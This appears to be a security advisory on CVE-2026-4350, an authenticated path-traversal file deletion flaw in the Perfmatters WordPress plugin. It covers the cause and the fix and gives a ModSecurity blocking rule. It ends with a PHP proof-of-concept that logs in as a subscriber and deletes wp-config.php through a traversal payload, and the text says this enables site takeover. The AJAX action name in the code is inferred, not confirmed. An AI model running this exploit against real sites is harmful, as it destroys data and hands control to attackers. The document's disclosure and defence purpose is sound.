Atomic Edge analysis of CVE-2026-4350 (metadata-based):
The Perfmatters WordPress plugin contains an authenticated arbitrary file deletion vulnerability via path traversal. The flaw resides in the `PMCS::action_handler()` method, which processes the `delete` GET parameter without proper security controls. Attackers with Subscriber-level access or higher can delete arbitrary files on the server, including critical WordPress configuration files.
Atomic Edge research identifies the root cause as a classic path traversal (CWE-22) combined with multiple missing security layers. The vulnerability description confirms the `$_GET[‘delete’]` parameter receives no sanitization, authorization checks, or nonce verification before being concatenated with a storage directory path and passed to `unlink()`. This analysis infers the vulnerable code likely resembles `unlink($storage_dir . $_GET[‘delete’])` without directory traversal prevention. The absence of capability checks and nonce verification are confirmed by the description.
Exploitation requires an authenticated attacker with at least Subscriber privileges. The attacker sends a GET request to the plugin’s AJAX handler endpoint, typically `/wp-admin/admin-ajax.php`. The request includes an `action` parameter matching the plugin’s AJAX hook (likely `perfmatters_action` or similar) and a `delete` parameter containing a relative path traversal payload. A sample payload would be `../../../wp-config.php`. The plugin concatenates this unsanitized input with its storage directory path, resulting in deletion of the WordPress configuration file.
Remediation requires implementing multiple security controls. The patched version must validate user capabilities, verify a valid nonce, sanitize the filename parameter to remove directory traversal sequences, and ensure the final path remains within the intended directory. Atomic Edge analysis suggests the fix likely added `current_user_can()` checks, `wp_verify_nonce()` validation, and `basename()` or `realpath()` comparisons before the `unlink()` call.
Successful exploitation leads to complete site compromise. Deleting `wp-config.php` forces WordPress into the installation wizard, allowing attackers to reinstall the site with their own database credentials. This constitutes full site takeover. Attackers could also delete other critical files like `.htaccess`, plugin files, or theme files, causing denial of service, privilege escalation, or data loss. The CVSS score of 8.1 reflects high impact on integrity and availability with low attack complexity.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-4350 (metadata-based)
# Blocks exploitation of Perfmatters arbitrary file deletion via AJAX handler
# Targets the exact vulnerable endpoint and parameter with path traversal detection
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20264350,phase:2,deny,status:403,chain,msg:'CVE-2026-4350: Perfmatters Arbitrary File Deletion via AJAX',severity:'CRITICAL',tag:'CVE-2026-4350',tag:'WordPress',tag:'Perfmatters',tag:'Path-Traversal'"
SecRule ARGS_GET:action "@rx ^(perfmatters|pmcs)_" "chain"
SecRule ARGS_GET:delete "@rx (../|%2e%2e%2f|%252e%252e%252f)"
"setvar:'tx.cve_2026_4350_score=+%{tx.critical_anomaly_score}',setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4350 - Perfmatters <= 2.5.9.1 - Authenticated (Subscriber+) Arbitrary File Deletion via 'delete' Parameter
<?php
/**
* Proof of Concept for CVE-2026-4350
* Assumptions based on vulnerability description:
* 1. The plugin uses WordPress AJAX handler (admin-ajax.php)
* 2. The AJAX action name contains 'perfmatters' (common pattern)
* 3. The vulnerable parameter is 'delete' passed via GET
* 4. Subscriber-level authentication is sufficient
*/
$target_url = 'https://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// File to delete (relative path from WordPress root)
$file_to_delete = '../../../wp-config.php';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
// Check login success by looking for dashboard redirect
if (strpos($login_response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Construct exploit URL
// The exact AJAX action name is inferred from plugin slug
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_params = [
'action' => 'perfmatters_action', // Inferred AJAX hook
'delete' => $file_to_delete // Path traversal payload
];
$exploit_url = $ajax_url . '?' . http_build_query($exploit_params);
// Send authenticated exploit request
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, 0); // GET request per description
curl_setopt($ch, CURLOPT_POSTFIELDS, null);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$exploit_response = curl_exec($ch);
// Check for success indicators
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) === 200) {
echo "Exploit sent successfully.n";
echo "Response: " . substr($exploit_response, 0, 500) . "n";
echo "Check if $file_to_delete was deleted.n";
} else {
echo "Request failed with HTTP code: " . curl_getinfo($ch, CURLINFO_HTTP_CODE) . "n";
}
curl_close($ch);
unlink('cookies.txt');
?>